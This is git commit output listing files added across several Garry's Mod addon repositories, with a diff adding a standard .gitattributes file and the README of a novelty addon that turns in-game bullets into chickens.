mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/10.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/10.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/12.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/13.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/13.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/14.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/15.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/16.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/16.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/17.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/18.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/18.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/19.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/2.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/2.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/21.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/21.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/22.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/22.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/23.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/23.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/logo_text.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/ring.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/ring.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/smoothring.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/smoothring.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_laser_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_laser_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_door_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_door_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/grenade_spit_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/grenade_spit_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/hunter_flechette_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/hunter_flechette_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_rollermine_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_rollermine_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_gun_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_gun_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_default_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_default_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_nuke_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_nuke_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/spazzernade_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/spazzernade_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weldball_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weldball_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/worldspawn_killicon.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/worldspawn_killicon.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/mat1.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/mat2.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldcleanup.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldcleanup.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/olderror.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/olderror.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldhint.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldhint.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldundo.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldundo.vtf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/living.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/prop.vmt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/burning_fx.pcf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/chappi_explosion.pcf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/particles_manifest.txt create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/vman_explosion.pcf create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/sound/talk.wav create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_cl.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_gameevents.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_incoming.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_netmessages.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_outgoing.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_PlyMeta.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_Util.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Disconnect2.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_DownloadFilter.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Find.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_AutoClicker.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_DeReplicate2.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_Fun.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_OhDear.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SCrash.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_SpawnMe.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_InfoBar.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LoadScreen.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_LogoText.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_M2C.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_MapTest.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_NoNotification.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Settings.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_SlowShot.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Snow.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Spew.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Sprays.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Status2.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Toggle.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/download_type.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/downloads.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/progress.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/runner.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/worker.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/lua_folder.ico create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/m2c/m2_HeX.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/menu_plugins/CustomMenuInc.lua create mode 100644 Repos/Evil-master/v12/HeXs_Scripts/hex.cfg create mode 100644 Repos/HeXs_DepthHUD-master/Desktop.ini create mode 100644 Repos/HeXs_DepthHUD-master/addon.txt create mode 100644 Repos/HeXs_DepthHUD-master/data/depthhud_inline.txt create mode 100644 Repos/HeXs_DepthHUD-master/dhinline.cfg create mode 100644 Repos/HeXs_DepthHUD-master/icon.ico create mode 100644 Repos/HeXs_DepthHUD-master/icon.tga create mode 100644 Repos/HeXs_DepthHUD-master/lua/CtrlColor.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/DMultiChoice.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/DSysButton.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/DhCheckPos.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/autorun/client/depthhud_inline.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/cl_dhinline_element.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/cl_dhinline_elementpanel.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/control_presets.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ammo_sec.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/armor.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_12.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/clock_24.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/compass.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/crosshair_linebow.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/framerate_fast.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/health.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/info_target.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/ping.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/team.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/vehiclespeed_kmh.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/witnesses.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/depthhud_inline_element/z_updatereminder.lua create mode 100644 Repos/HeXs_DepthHUD-master/lua/preset_editor.lua create mode 100644 Repos/HeXs_DepthHUD-master/materials/depthhud/X_CircleSolid.vmt create mode 100644 Repos/HeXs_DepthHUD-master/materials/depthhud/circle.vtf create mode 100644 Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vmt create mode 100644 Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vtf create mode 100644 Repos/HeXs_DepthHUD-master/resource/fonts/DIN.TTF create mode 100644 Repos/HeXs_DepthHUD-master/resource/fonts/DINMED.TTF create mode 100644 Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/black and white.txt create mode 100644 Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/shiny default.txt create mode 100644 Repos/HeXs_DepthHUD-master/settings/presets/dhinline_style/xray.txt create mode 100644 Repos/HeXs_SaitoHUD-master/Desktop.ini create mode 100644 Repos/HeXs_SaitoHUD-master/addon.txt create mode 100644 Repos/HeXs_SaitoHUD-master/data/saitohud/docs.txt create mode 100644 Repos/HeXs_SaitoHUD-master/data/saitohud/e2_std_funcs.txt create mode 100644 Repos/HeXs_SaitoHUD-master/data/saitohud/friends.txt create mode 100644 Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/css.txt create mode 100644 Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep1.txt create mode 100644 Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep2.txt create mode 100644 Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/portal.txt create mode 100644 Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/source.txt create mode 100644 Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/tf2.txt create mode 100644 Repos/HeXs_SaitoHUD-master/data/saitohud/sandbox/menu.txt create mode 100644 Repos/HeXs_SaitoHUD-master/defaultlogo.ico create mode 100644 Repos/HeXs_SaitoHUD-master/lua/autorun/client/saitohud_init.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/concmd.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/filters.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/friends.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/functions.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/geom.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/init.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/calculator.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/e2_extensions.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/entity_info.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/geom.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/hook_manager.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/listgest.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/measure.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/overlays.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/panel.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/player_tags.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/resbrowser.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sampling.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/sandbox.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/spectate.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/stranded.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/survey.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/umsg.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/util.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/winamp.rar create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/overlays.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/saitohud.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DCustomListView.lua create mode 100644 Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DListView_CheckboxLine.lua diff --git a/Repos/Chicken_Bullets-master/.gitattributes b/Repos/Chicken_Bullets-master/.gitattributes new file mode 100644 index 0000000..412eeda --- /dev/null +++ b/Repos/Chicken_Bullets-master/.gitattributes @@ -0,0 +1,22 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp +*.sln merge=union +*.csproj merge=union +*.vbproj merge=union +*.fsproj merge=union +*.dbproj merge=union + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/Repos/Chicken_Bullets-master/README.md b/Repos/Chicken_Bullets-master/README.md new file mode 100644 index 0000000..4f1e10e --- /dev/null +++ b/Repos/Chicken_Bullets-master/README.md @@ -0,0 +1,21 @@ +``` +=== Chicken Bullets === +--By HeX + +All bullets fired from any guns, including HL2 default, become chickens! +https://www.youtube.com/watch?v=KZVbO3iYQNo + + +How to use: +Extract to addons/, enabled by default. + +CVars: +chicken_bullet_enabled 1/0 --Enable chicken bullets? +chicken_bullet_speed 24000 --Speed of hen +chicken_bullet_multi 2 --Damage multiplier +chicken_bullet_eggs 1/0 --Lay eggs? + +Extra credits: +Chicken model --lduke +Sounds / Effects --Teta_Bonita +``` \ No newline at end of file diff --git a/Repos/Chicken_Bullets-master/addon.txt b/Repos/Chicken_Bullets-master/addon.txt new file mode 100644 